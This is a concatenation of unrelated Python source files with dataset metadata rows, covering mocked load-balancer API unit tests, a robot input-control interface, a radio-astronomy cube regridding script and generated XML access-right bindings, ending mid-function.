response = self.client.delete_mlb_runtime(runtime_id="rid-123456")
self.assertEqual(response, True)
@patch('requests.post')
def testCreateMLBDeployment(self, mock):
mock_create_mlb_deployment_res = self.load_json("../test_lib/output/mlb/create_deployment_res.json")
self.mock_api_call.content = SimpleNamespace(**self.mock_api_call.content)
self.mock_api_call.content.decode = lambda code: json.dumps(mock_create_mlb_deployment_res)
mock.return_value = self.mock_api_call
response = self.client.create_mlb_deployment(deployment_name="test")
self.assertEqual(len(response), len(mock_create_mlb_deployment_res["response"]["items"][0]))
@patch('requests.put')
def testUpdateMLBDeployment(self, mock):
self.mock_api_call.content = SimpleNamespace(**self.mock_api_call.content)
self.mock_api_call.content.decode = lambda code: json.dumps(self.mock_ok_res)
mock.return_value = self.mock_api_call
response = self.client.update_mlb_deployment(deployment_id="did-123456", deployment_name="test")
self.assertEqual(len(response), len(self.mock_ok_res["response"]["status"]))
@patch('requests.get')
def testGetMLBDeployment(self, mock):
mock_get_mlb_deployment_res = self.load_json("../test_lib/output/mlb/get_deployment_res.json")
self.mock_api_call.content = SimpleNamespace(**self.mock_api_call.content)
self.mock_api_call.content.decode = lambda code: json.dumps(mock_get_mlb_deployment_res)
mock.return_value = self.mock_api_call
response = self.client.get_mlb_deployment(deployment_id="did-123456")
self.assertEqual(len(response), len(mock_get_mlb_deployment_res["response"]["items"][0]))
@patch('requests.get')
def testGetAllMLBDeployment(self, mock):
mock_get_all_mlb_deployment_res = self.load_json("../test_lib/output/mlb/get_all_deployment_res.json")
self.mock_api_call.content = SimpleNamespace(**self.mock_api_call.content)
self.mock_api_call.content.decode = lambda code: json.dumps(mock_get_all_mlb_deployment_res)
mock.return_value = self.mock_api_call
response = self.client.get_all_mlb_deployment()
self.assertEqual(len(response), len(mock_get_all_mlb_deployment_res["response"]["items"]))
@patch('requests.delete')
def testDeleteMLBDeployment(self, mock):
self.mock_api_call.content = SimpleNamespace(**self.mock_api_call.content)
self.mock_api_call.content.decode = lambda code: json.dumps(self.mock_ok_res)
mock.return_value = self.mock_api_call
response = self.client.delete_mlb_deployment(deployment_id="did-123456")
self.assertEqual(response, True)
@patch('requests.post')
def testCreateMLBBalancer(self, mock):
mock_create_mlb_balancer_res = self.load_json("../test_lib/output/mlb/create_balancer_res.json")
self.mock_api_call.content = SimpleNamespace(**self.mock_api_call.content)
self.mock_api_call.content.decode = lambda code: json.dumps(mock_create_mlb_balancer_res)
mock.return_value = self.mock_api_call
response = self.client.create_mlb_balancer(balancer={})
self.assertEqual(len(response), len(mock_create_mlb_balancer_res["response"]["items"][0]))
@patch('requests.put')
def testUpdateMLBBalancer(self, mock):
self.mock_api_call.content = SimpleNamespace(**self.mock_api_call.content)
self.mock_api_call.content.decode = lambda code: json.dumps(self.mock_ok_res)
mock.return_value = self.mock_api_call
response = self.client.update_mlb_balancer(balancer_id="bid-12345", balancer={})
self.assertEqual(len(response), len(self.mock_ok_res["response"]["status"]))
@patch('requests.get')
def testGetMLBBalancer(self, mock):
mock_get_mlb_balancer_res = self.load_json("../test_lib/output/mlb/get_balancer_res.json")
self.mock_api_call.content = SimpleNamespace(**self.mock_api_call.content)
self.mock_api_call.content.decode = lambda code: json.dumps(mock_get_mlb_balancer_res)
mock.return_value = self.mock_api_call
response = self.client.get_mlb_balancer(balancer_id="bid-12345")
self.assertEqual(len(response), len(mock_get_mlb_balancer_res["response"]["items"][0]))
@patch('requests.get')
def testGetAllMLBBalancer(self, mock):
mock_get_all_mlb_balancer_res = self.load_json("../test_lib/output/mlb/get_all_balancer_res.json")
self.mock_api_call.content = SimpleNamespace(**self.mock_api_call.content)
self.mock_api_call.content.decode = lambda code: json.dumps(mock_get_all_mlb_balancer_res)
mock.return_value = self.mock_api_call
response = self.client.get_all_mlb_balancer()
self.assertEqual(len(response), len(mock_get_all_mlb_balancer_res["response"]["items"]))
@patch('requests.delete')
def testDeleteMLBBalancer(self, mock):
self.mock_api_call.content = SimpleNamespace(**self.mock_api_call.content)
self.mock_api_call.content.decode = lambda code: json.dumps(self.mock_ok_res)
mock.return_value = self.mock_api_call
response = self.client.delete_mlb_balancer(balancer_id="bid-12345")
self.assertEqual(response, True)
@patch('requests.post')
def testCreateMLBTargetSet(self, mock):
mock_create_mlb_target_set_res = self.load_json("../test_lib/output/mlb/create_target_set_res.json")
self.mock_api_call.content = SimpleNamespace(**self.mock_api_call.content)
self.mock_api_call.content.decode = lambda code: json.dumps(mock_create_mlb_target_set_res)
mock.return_value = self.mock_api_call
response = self.client.create_mlb_target_set(target_set={})
self.assertEqual(len(response), len(mock_create_mlb_target_set_res["response"]["items"][0]))
@patch('requests.put')
def testUpdateMLBTargetSet(self, mock):
self.mock_api_call.content = SimpleNamespace(**self.mock_api_call.content)
self.mock_api_call.content.decode = lambda code: json.dumps(self.mock_ok_res)
mock.return_value = self.mock_api_call
response = self.client.update_mlb_target_set(target_set_id="ts-12345", target_set={})
self.assertEqual(len(response), len(self.mock_ok_res["response"]["status"]))
@patch('requests.get')
def testGetMLBTargetSet(self, mock):
mock_get_mlb_target_set_res = self.load_json("../test_lib/output/mlb/get_target_set_res.json")
self.mock_api_call.content = SimpleNamespace(**self.mock_api_call.content)
self.mock_api_call.content.decode = lambda code: json.dumps(mock_get_mlb_target_set_res)
mock.return_value = self.mock_api_call
response = self.client.get_mlb_target_set(target_set_id="ts-12345")
self.assertEqual(len(response), len(mock_get_mlb_target_set_res["response"]["items"][0]))
@patch('requests.get')
def testGetAllMLBTargetSet(self, mock):
mock_get_all_mlb_target_set_res = self.load_json("../test_lib/output/mlb/get_all_target_set_res.json")
self.mock_api_call.content = SimpleNamespace(**self.mock_api_call.content)
self.mock_api_call.content.decode = lambda code: json.dumps(mock_get_all_mlb_target_set_res)
mock.return_value = self.mock_api_call
response = self.client.get_all_mlb_target_set()
self.assertEqual(len(response), len(mock_get_all_mlb_target_set_res["response"]["items"]))
@patch('requests.delete')
def testDeleteMLBTargetSet(self, mock):
self.mock_api_call.content = SimpleNamespace(**self.mock_api_call.content)
self.mock_api_call.content.decode = lambda code: json.dumps(self.mock_ok_res)
mock.return_value = self.mock_api_call
response = self.client.delete_mlb_target_set(target_set_id="ts-12345")
self.assertEqual(response, True)
@patch('requests.put')
def testRegisterMLBTargets(self, mock):
mock_register_target_res = self.load_json("../test_lib/output/mlb/register_target_res.json")
self.mock_api_call.content = SimpleNamespace(**self.mock_api_call.content)
self.mock_api_call.content.decode = lambda code: json.dumps(mock_register_target_res)
mock.return_value = self.mock_api_call
response = self.client.register_mlb_targets(target_set_id="ts-12345", targets=[])
self.assertEqual(len(response), len(mock_register_target_res["response"]["items"]))
@patch('requests.put')
def testDegristerMLBTargets(self, mock):
self.mock_api_call.content = SimpleNamespace(**self.mock_api_call.content)
self.mock_api_call.content.decode = lambda code: json.dumps(self.mock_ok_res)
mock.return_value = self.mock_api_call
response = self.client.deregister_mlb_targets(target_set_id="ts-12345", targets=[])
self.assertEqual(len(response), len(self.mock_ok_res["response"]["status"]))
@patch('requests.post')
def testCreateMLBTarget(self, mock):
mock_create_mlb_target_res = self.load_json("../test_lib/output/mlb/create_target_res.json")
self.mock_api_call.content = SimpleNamespace(**self.mock_api_call.content)
self.mock_api_call.content.decode = lambda code: json.dumps(mock_create_mlb_target_res)
mock.return_value = self.mock_api_call
response = self.client.create_mlb_target(target={})
self.assertEqual(len(response), len(mock_create_mlb_target_res["response"]["items"][0]))
@patch('requests.put')
def testUpdateMLBTarget(self, mock):
self.mock_api_call.content = SimpleNamespace(**self.mock_api_call.content)
self.mock_api_call.content.decode = lambda code: json.dumps(self.mock_ok_res)
mock.return_value = self.mock_api_call
response = self.client.update_mlb_target(target_id="t-12345", target={})
self.assertEqual(len(response), len(self.mock_ok_res["response"]["status"]))
@patch('requests.get')
def testGetMLBTarget(self, mock):
mock_get_mlb_target_res = self.load_json("../test_lib/output/mlb/get_target_res.json")
self.mock_api_call.content = SimpleNamespace(**self.mock_api_call.content)
self.mock_api_call.content.decode = lambda code: json.dumps(mock_get_mlb_target_res)
mock.return_value = self.mock_api_call
response = self.client.get_mlb_target(target_id="t-12345")
self.assertEqual(len(response), len(mock_get_mlb_target_res["response"]["items"][0]))
@patch('requests.get')
def testGetAllMLBTarget(self, mock):
mock_get_all_mlb_target_res = self.load_json("../test_lib/output/mlb/get_all_target_res.json")
self.mock_api_call.content = SimpleNamespace(**self.mock_api_call.content)
self.mock_api_call.content.decode = lambda code: json.dumps(mock_get_all_mlb_target_res)
mock.return_value = self.mock_api_call
response = self.client.get_all_mlb_target()
self.assertEqual(len(response), len(mock_get_all_mlb_target_res["response"]["items"]))
@patch('requests.delete')
def testDeleteMLBTarget(self, mock):
self.mock_api_call.content = SimpleNamespace(**self.mock_api_call.content)
self.mock_api_call.content.decode = lambda code: json.dumps(self.mock_ok_res)
mock.return_value = self.mock_api_call
response = self.client.delete_mlb_target(target_id="t-12345")
self.assertEqual(response, True)
@patch('requests.post')
def testCreateMLBListener(self, mock):
mock_create_mlb_listener = self.load_json("../test_lib/output/mlb/listener.json")
self.mock_api_call.content = SimpleNamespace(**self.mock_api_call.content)
self.mock_api_call.content.decode = lambda code: json.dumps(mock_create_mlb_listener)
mock.return_value = self.mock_api_call
response = self.client.create_mlb_listener(listener={})
self.assertEqual(len(response), len(mock_create_mlb_listener["response"]["items"][0]))
@patch('requests.put')
def testUpdateMLBListener(self, mock):
self.mock_api_call.content = SimpleNamespace(**self.mock_api_call.content)
self.mock_api_call.content.decode = lambda code: json.dumps(self.mock_ok_res)
mock.return_value = self.mock_api_call
response = self.client.update_mlb_listener(listener_id="ls-12345",listener={})
self.assertEqual(len(response), len(self.mock_ok_res["response"]["status"]))
@patch('requests.get')
def testGetMLBListener(self, mock):
mock_get_mlb_listener = self.load_json("../test_lib/output/mlb/listener.json")
self.mock_api_call.content = SimpleNamespace(**self.mock_api_call.content)
self.mock_api_call.content.decode = lambda code: json.dumps(mock_get_mlb_listener)
mock.return_value = self.mock_api_call
response = self.client.get_mlb_listener(listener_id="ls-12345")
self.assertEqual(len(response), len(mock_get_mlb_listener["response"]["items"][0]))
@patch('requests.get')
def testGetAllMLBListener(self, mock):
mock_get_all_mlb_listner = self.load_json("../test_lib/output/mlb/listener.json")
self.mock_api_call.content = SimpleNamespace(**self.mock_api_call.content)
self.mock_api_call.content.decode = lambda code: json.dumps(mock_get_all_mlb_listner)
mock.return_value = self.mock_api_call
response = self.client.get_all_mlb_listener()
self.assertEqual(len(response), len(mock_get_all_mlb_listner["response"]["items"]))
@patch('requests.delete')
def testDeleteMLBListener(self, mock):
self.mock_api_call.content = SimpleNamespace(**self.mock_api_call.content)
self.mock_api_call.content.decode = lambda code: json.dumps(self.mock_ok_res)
mock.return_value = self.mock_api_call
response = self.client.delete_mlb_listener(listener_id="ls-12345")
self.assertEqual(response, True)
@patch('requests.post')
def testCreateMLBMiddleware(self, mock):
mock_create_mlb_middleware = self.load_json("../test_lib/output/mlb/middleware.json")
self.mock_api_call.content = SimpleNamespace(**self.mock_api_call.content)
self.mock_api_call.content.decode = lambda code: json.dumps(mock_create_mlb_middleware)
mock.return_value = self.mock_api_call
response = self.client.create_mlb_middleware(middleware={})
self.assertEqual(len(response), len(mock_create_mlb_middleware["response"]["items"][0]))
@patch('requests.put')
def testUpdateMLBMiddleware(self, mock):
self.mock_api_call.content = SimpleNamespace(**self.mock_api_call.content)
self.mock_api_call.content.decode = lambda code: json.dumps(self.mock_ok_res)
mock.return_value = self.mock_api_call
response = self.client.update_mlb_middleware(middleware_id="mw-12345",middleware={})
self.assertEqual(len(response), len(self.mock_ok_res["response"]["status"]))
@patch('requests.get')
def testGetMLBMiddleware(self, mock):
mock_get_mlb_middleware = self.load_json("../test_lib/output/mlb/middleware.json")
self.mock_api_call.content = SimpleNamespace(**self.mock_api_call.content)
self.mock_api_call.content.decode = lambda code: json.dumps(mock_get_mlb_middleware)
mock.return_value = self.mock_api_call
response = self.client.get_mlb_middleware(middleware_id="mw-12345")
self.assertEqual(len(response), len(mock_get_mlb_middleware["response"]["items"][0]))
@patch('requests.get')
def testGetAllMLBMiddleware(self, mock):
mock_get_all_mlb_middleware = self.load_json("../test_lib/output/mlb/middleware.json")
self.mock_api_call.content = SimpleNamespace(**self.mock_api_call.content)
self.mock_api_call.content.decode = lambda code: json.dumps(mock_get_all_mlb_middleware)
mock.return_value = self.mock_api_call
response = self.client.get_all_mlb_middleware()
self.assertEqual(len(response), len(mock_get_all_mlb_middleware["response"]["items"]))
@patch('requests.delete')
def testDeleteMLBMiddleware(self, mock):
self.mock_api_call.content = SimpleNamespace(**self.mock_api_call.content)
self.mock_api_call.content.decode = lambda code: json.dumps(self.mock_ok_res)
mock.return_value = self.mock_api_call
response = self.client.delete_mlb_middleware(middleware_id="mw-12345")
self.assertEqual(response, True)
@patch('requests.post')
def testCreateMLBRoutingRule(self, mock):
mock_create_mlb_routing_rule = self.load_json("../test_lib/output/mlb/routing_rule.json")
self.mock_api_call.content = SimpleNamespace(**self.mock_api_call.content)
self.mock_api_call.content.decode = lambda code: json.dumps(mock_create_mlb_routing_rule)
mock.return_value = self.mock_api_call
response = self.client.create_mlb_routing_rule(routing_rule={})
self.assertEqual(len(response), len(mock_create_mlb_routing_rule["response"]["items"][0]))
@patch('requests.put')
def testUpdateMLBRoutingRule(self, mock):
self.mock_api_call.content = SimpleNamespace(**self.mock_api_call.content)
self.mock_api_call.content.decode = lambda code: json.dumps(self.mock_ok_res)
mock.return_value = self.mock_api_call
response = self.client.update_mlb_routing_rule(routing_rule_id="rr-12345",routing_rule={})
self.assertEqual(len(response), len(self.mock_ok_res["response"]["status"]))
@patch('requests.get')
def testGetMLBRoutingRule(self, mock):
mock_get_mlb_routing_rule = self.load_json("../test_lib/output/mlb/routing_rule.json")
self.mock_api_call.content = SimpleNamespace(**self.mock_api_call.content)
self.mock_api_call.content.decode = lambda code: json.dumps(mock_get_mlb_routing_rule)
mock.return_value = self.mock_api_call
response = self.client.get_mlb_routing_rule(routing_rule_id="rr-12345")
self.assertEqual(len(response), len(mock_get_mlb_routing_rule["response"]["items"][0]))
@patch('requests.get')
def testGetAllMLBRoutingRule(self, mock):
mock_get_all_mlb_routing_rule = self.load_json("../test_lib/output/mlb/routing_rule.json")
self.mock_api_call.content = SimpleNamespace(**self.mock_api_call.content)
self.mock_api_call.content.decode = lambda code: json.dumps(mock_get_all_mlb_routing_rule)
mock.return_value = self.mock_api_call
response = self.client.get_all_mlb_routing_rule()
self.assertEqual(len(response), len(mock_get_all_mlb_routing_rule["response"]["items"]))
@patch('requests.delete')
def testDeleteRoutingRule(self, mock):
self.mock_api_call.content = SimpleNamespace(**self.mock_api_call.content)
self.mock_api_call.content.decode = lambda code: json.dumps(self.mock_ok_res)
mock.return_value = self.mock_api_call
response = self.client.delete_mlb_routing_rule(routing_rule_id="rr-12345")
self.assertEqual(response, True)
| 37.975564 | 104 | 0.782953 | 2,944 | 20,203 | 5.043478 | 0.045516 | 0.125539 | 0.122239 | 0.166689 | 0.896619 | 0.877155 | 0.843009 | 0.806977 | 0.747104 | 0.680361 | 0 | 0.008244 | 0.087413 | 20,203 | 531 | 105 | 38.047081 | 0.797093 | 0.000396 | 0 | 0.472892 | 0 | 0 | 0.114061 | 0.053836 | 0 | 0 | 0 | 0 | 0.123494 | 1 | 0.13253 | false | 0 | 0.01506 | 0 | 0.159639 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
a79582a5bce35585e9c32c8a1f4fef3a0c673257 | 1,526 | py | Python | GeometrA/src/ADB/robot.py | NTUTVisualScript/Visual_Script | 2f78df3bbe17a08022a1ca66ee889f4ed5a42728 | [
"Apache-2.0"
] | 4 | 2017-08-12T15:32:07.000Z | 2018-01-02T16:11:59.000Z | GeometrA/src/ADB/robot.py | NTUTVisualScript/GeometrA | 2f78df3bbe17a08022a1ca66ee889f4ed5a42728 | [
"Apache-2.0"
] | null | null | null | GeometrA/src/ADB/robot.py | NTUTVisualScript/GeometrA | 2f78df3bbe17a08022a1ca66ee889f4ed5a42728 | [
"Apache-2.0"
] | null | null | null | class Robot:
def key_press(self, keycode):
raise NotImplementedError("Subclasses should implement this!")
def key_release(self, keycode):
raise NotImplementedError("Subclasses should implement this!")
def send_keys(self, keys):
raise NotImplementedError("Subclasses should implement this!")
def drag_and_drop(self, start_x, start_y, end_x, end_y, duration=None):
raise NotImplementedError("Subclasses should implement this!")
def capture_screen(self):
raise NotImplementedError("Subclasses should implement this!")
def tap(self, x, y, duration):
raise NotImplementedError("Subclasses should implement this!")
def swipe(self, start_x, start_y, end_x, end_y, duration):
raise NotImplementedError("Subclasses should implement this!")
def pinch(self, x, y, w, h, percent, steps):
"""Pinch on an element a certain amount
:Args:
- x, y, w, h - the rect to pinch
- percent - (optional) amount to pinch.
- steps - (optional) number of steps in the pinch action
"""
raise NotImplementedError("Subclasses should implement this!")
def zoom(self, x, y, w, h, percent, steps):
"""Zoom on an element a certain amount
:Args:
- x, y, w, h - the rect to zoom
- percent - (optional) amount to zoom.
- steps - (optional) number of steps in the zoom action
"""
raise NotImplementedError("Subclasses should implement this!")
| 34.681818 | 75 | 0.64941 | 186 | 1,526 | 5.252688 | 0.268817 | 0.221085 | 0.313204 | 0.368475 | 0.812692 | 0.812692 | 0.812692 | 0.412487 | 0.412487 | 0.151484 | 0 | 0 | 0.254915 | 1,526 | 43 | 76 | 35.488372 | 0.859279 | 0.228702 | 0 | 0.473684 | 0 | 0 | 0.275 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.473684 | false | 0 | 0 | 0 | 0.526316 | 0 | 0 | 0 | 0 | null | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 8 |
a7cd2bbb3b4cc04bc4bc040274425501e977455d | 4,277 | py | Python | 14B-088/HI/imaging/sd_regridding/gbt_regrid.py | e-koch/VLA_Lband | 8fca7b2de0b88ce5c5011b34bf3936c69338d0b0 | [
"MIT"
] | 1 | 2021-03-08T23:19:12.000Z | 2021-03-08T23:19:12.000Z | 14B-088/HI/imaging/sd_regridding/gbt_regrid.py | e-koch/VLA_Lband | 8fca7b2de0b88ce5c5011b34bf3936c69338d0b0 | [
"MIT"
] | null | null | null | 14B-088/HI/imaging/sd_regridding/gbt_regrid.py | e-koch/VLA_Lband | 8fca7b2de0b88ce5c5011b34bf3936c69338d0b0 | [
"MIT"
] | null | null | null |
'''
Regrid the GBT data to match the VLA HI data.
'''
from spectral_cube import SpectralCube
from astropy.utils.console import ProgressBar
import numpy as np
import os
from cube_analysis.io_utils import create_huge_fits
from paths import fourteenB_HI_data_path, data_path
# Load the non-pb masked cube
vla_cube = SpectralCube.read(fourteenB_HI_data_path("M33_14B-088_HI.clean.image.fits"))
gbt_path = os.path.join(data_path, "GBT")
cube = SpectralCube.read(os.path.join(gbt_path, "m33_gbt_vlsr_highres.fits"))
# Ta* to T_mb as per @low-sky
Tmb_conv = 1.052
save_name = os.path.join(gbt_path, "14B-088_items/m33_gbt_vlsr_highres_Tmb_14B088_spectralregrid.fits")
# Spectral interpolation, followed by reprojection.
if not os.path.exists(save_name):
cube = cube.spectral_interpolate(vla_cube.spectral_axis)
if cube._is_huge:
output_fits = create_huge_fits(save_name, cube.header, return_hdu=True)
for chan in ProgressBar(cube.shape[0]):
output_fits[0].data[chan] = cube[chan].value * Tmb_conv
output_fits.flush()
output_fits.close()
else:
(cube * Tmb_conv).write(save_name, overwrite=True)
else:
cube = SpectralCube.read(save_name)
# Make the reprojected header
new_header = cube.header.copy()
new_header["NAXIS"] = 3
new_header["NAXIS1"] = vla_cube.shape[2]
new_header["NAXIS2"] = vla_cube.shape[1]
new_header["NAXIS3"] = vla_cube.shape[0]
kwarg_skip = ['TELESCOP', 'BUNIT', 'INSTRUME']
for key in cube.header:
if key == 'HISTORY':
continue
if key in vla_cube.header:
if "NAXIS" in key:
continue
if key in kwarg_skip:
continue
new_header[key] = vla_cube.header[key]
new_header.update(cube.beam.to_header_keywords())
new_header["BITPIX"] = -32
# We're going to convert to Tmb below
new_header.comments['BUNIT'] = 'Tmb'
# Build up the reprojected cube per channel
save_name = os.path.join(gbt_path, "14B-088_items/m33_gbt_vlsr_highres_Tmb_14B088.fits")
output_fits = create_huge_fits(save_name, new_header, return_hdu=True)
targ_header = vla_cube[0].header
for chan in ProgressBar(cube.shape[0]):
reproj_chan = \
cube[chan].reproject(targ_header).value.astype(np.float32)
output_fits[0].data[chan] = reproj_chan
if chan % 200 == 0:
output_fits.flush()
output_fits.close()
# Now do it again from the native gridding size
cube = SpectralCube.read(os.path.join(gbt_path, "m33_gbt_vlsr.fits"))
# Ta* to T_mb as per @low-sky
Tmb_conv = 1.052
save_name = os.path.join(gbt_path, "14B-088_items/m33_gbt_vlsr_Tmb_14B088_spectralregrid.fits")
# Spectral interpolation, followed by reprojection.
if not os.path.exists(save_name):
cube = cube.spectral_interpolate(vla_cube.spectral_axis)
if cube._is_huge:
output_fits = create_huge_fits(save_name, cube.header, return_hdu=True)
for chan in ProgressBar(cube.shape[0]):
output_fits[0].data[chan] = cube[chan].value * Tmb_conv
output_fits.flush()
output_fits.close()
else:
(cube * Tmb_conv).write(save_name, overwrite=True)
else:
cube = SpectralCube.read(save_name)
# Make the reprojected header
new_header = cube.header.copy()
new_header["NAXIS"] = 3
new_header["NAXIS1"] = vla_cube.shape[2]
new_header["NAXIS2"] = vla_cube.shape[1]
new_header["NAXIS3"] = vla_cube.shape[0]
kwarg_skip = ['TELESCOP', 'BUNIT', 'INSTRUME']
for key in cube.header:
if key == 'HISTORY':
continue
if key in vla_cube.header:
if "NAXIS" in key:
continue
if key in kwarg_skip:
continue
new_header[key] = vla_cube.header[key]
new_header.update(cube.beam.to_header_keywords())
new_header["BITPIX"] = -32
# We're going to convert to Tmb below
new_header.comments['BUNIT'] = 'Tmb'
# Build up the reprojected cube per channel
save_name = os.path.join(gbt_path, "14B-088_items/m33_gbt_vlsr_Tmb_14B088.fits")
output_fits = create_huge_fits(save_name, new_header, return_hdu=True)
targ_header = vla_cube[0].header
for chan in ProgressBar(cube.shape[0]):
reproj_chan = \
cube[chan].reproject(targ_header).value.astype(np.float32)
output_fits[0].data[chan] = reproj_chan
if chan % 200 == 0:
output_fits.flush()
output_fits.close()
| 30.769784 | 103 | 0.713117 | 662 | 4,277 | 4.365559 | 0.193353 | 0.062284 | 0.024221 | 0.02699 | 0.869204 | 0.869204 | 0.869204 | 0.869204 | 0.869204 | 0.869204 | 0 | 0.030175 | 0.170914 | 4,277 | 138 | 104 | 30.992754 | 0.784828 | 0.114099 | 0 | 0.851064 | 0 | 0 | 0.114089 | 0.071637 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.06383 | 0 | 0.06383 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
ac1412b4792a42d5d62b3fd03ef154881b8f20bf | 494,437 | py | Python | eds/openmtc-gevent/common/openmtc-etsi/src/openmtc_etsi/serializer/xml/binding/helper2.py | piyush82/elastest-device-emulator-service | b4d6b393d6042c54a7b3dfb5f58cad5efd00f0e7 | [
"Apache-2.0"
] | null | null | null | eds/openmtc-gevent/common/openmtc-etsi/src/openmtc_etsi/serializer/xml/binding/helper2.py | piyush82/elastest-device-emulator-service | b4d6b393d6042c54a7b3dfb5f58cad5efd00f0e7 | [
"Apache-2.0"
] | null | null | null | eds/openmtc-gevent/common/openmtc-etsi/src/openmtc_etsi/serializer/xml/binding/helper2.py | piyush82/elastest-device-emulator-service | b4d6b393d6042c54a7b3dfb5f58cad5efd00f0e7 | [
"Apache-2.0"
] | null | null | null | import pyxb
import pyxb.binding
import pyxb.utils
import pyxb.utils.utility
from _binding import *
from openmtc_etsi.serializer.xml.binding import \
_xmlmime as _ImportedBinding__xmlmime
PermissionHolderType._AddElement(pyxb.binding.basis.element(
pyxb.namespace.ExpandedName(Namespace, u'holderRefs'), HolderRefListType,
scope=PermissionHolderType, location=pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/accessRight.xsd',
58, 4)))
PermissionHolderType._AddElement(pyxb.binding.basis.element(
pyxb.namespace.ExpandedName(Namespace, u'domains'), DomainListType,
scope=PermissionHolderType, location=pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/accessRight.xsd',
59, 4)))
PermissionHolderType._AddElement(
pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, u'all'),
CTD_ANON, scope=PermissionHolderType,
location=pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/accessRight.xsd',
75, 4)))
PermissionHolderType._AddElement(pyxb.binding.basis.element(
pyxb.namespace.ExpandedName(Namespace, u'applicationIDs'), ApplicationIDs,
scope=PermissionHolderType, location=pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/accessRight.xsd',
103, 4)))
PermissionHolderType._AddElement(pyxb.binding.basis.element(
pyxb.namespace.ExpandedName(Namespace, u'sclIDs'), SclIDs,
scope=PermissionHolderType, location=pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/accessRight.xsd',
114, 4)))
def _BuildAutomaton_3():
# Remove this helper function from the namespace after it is invoked
global _BuildAutomaton_3
del _BuildAutomaton_3
import pyxb.utils.fac as fac
counters = set()
cc_0 = fac.CounterCondition(min=0L, max=1L,
metadata=pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/accessRight.xsd',
50, 12))
counters.add(cc_0)
cc_1 = fac.CounterCondition(min=0L, max=1L,
metadata=pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/accessRight.xsd',
51, 12))
counters.add(cc_1)
cc_2 = fac.CounterCondition(min=0L, max=1L,
metadata=pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/accessRight.xsd',
52, 12))
counters.add(cc_2)
cc_3 = fac.CounterCondition(min=0L, max=1L,
metadata=pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/accessRight.xsd',
53, 12))
counters.add(cc_3)
cc_4 = fac.CounterCondition(min=0L, max=1L,
metadata=pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/accessRight.xsd',
54, 12))
counters.add(cc_4)
states = []
final_update = set()
final_update.add(fac.UpdateInstruction(cc_0, False))
symbol = pyxb.binding.content.ElementUse(PermissionHolderType._UseForTag(
pyxb.namespace.ExpandedName(Namespace, u'holderRefs')),
pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/accessRight.xsd',
50, 12))
st_0 = fac.State(symbol, is_initial=True, final_update=final_update,
is_unordered_catenation=False)
states.append(st_0)
final_update = set()
final_update.add(fac.UpdateInstruction(cc_1, False))
symbol = pyxb.binding.content.ElementUse(PermissionHolderType._UseForTag(
pyxb.namespace.ExpandedName(Namespace, u'applicationIDs')),
pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/accessRight.xsd',
51, 12))
st_1 = fac.State(symbol, is_initial=True, final_update=final_update,
is_unordered_catenation=False)
states.append(st_1)
final_update = set()
final_update.add(fac.UpdateInstruction(cc_2, False))
symbol = pyxb.binding.content.ElementUse(PermissionHolderType._UseForTag(
pyxb.namespace.ExpandedName(Namespace, u'sclIDs')),
pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/accessRight.xsd',
52, 12))
st_2 = fac.State(symbol, is_initial=True, final_update=final_update,
is_unordered_catenation=False)
states.append(st_2)
final_update = set()
final_update.add(fac.UpdateInstruction(cc_3, False))
symbol = pyxb.binding.content.ElementUse(PermissionHolderType._UseForTag(
pyxb.namespace.ExpandedName(Namespace, u'all')),
pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/accessRight.xsd',
53, 12))
st_3 = fac.State(symbol, is_initial=True, final_update=final_update,
is_unordered_catenation=False)
states.append(st_3)
final_update = set()
final_update.add(fac.UpdateInstruction(cc_4, False))
symbol = pyxb.binding.content.ElementUse(PermissionHolderType._UseForTag(
pyxb.namespace.ExpandedName(Namespace, u'domains')),
pyxb.utils.utility.Location(
'/home/kca/vcs/openmtc/openmtc-python/tmp/XSDs v211/accessRight.xsd',
54, 12))
st_4 = fac.State(symbol, is_initial=True, final_update=final_update,
is_unordered_catenation=False)
states.append(st_4)
transitions = []
transitions.append(fac.Transition(st_0, [
fac.UpdateInstruction(cc_0, True)]))
transitions.append(fac.Transition(st_1, [
fac.UpdateInstruction(cc_0, False)]))
transitions.append(fac.Transition(st_2, [
fac.UpdateInstruction(cc_0, False)]))
transitions.append(fac.Transition(st_3, [
fac.UpdateInstruction(cc_0, False)]))
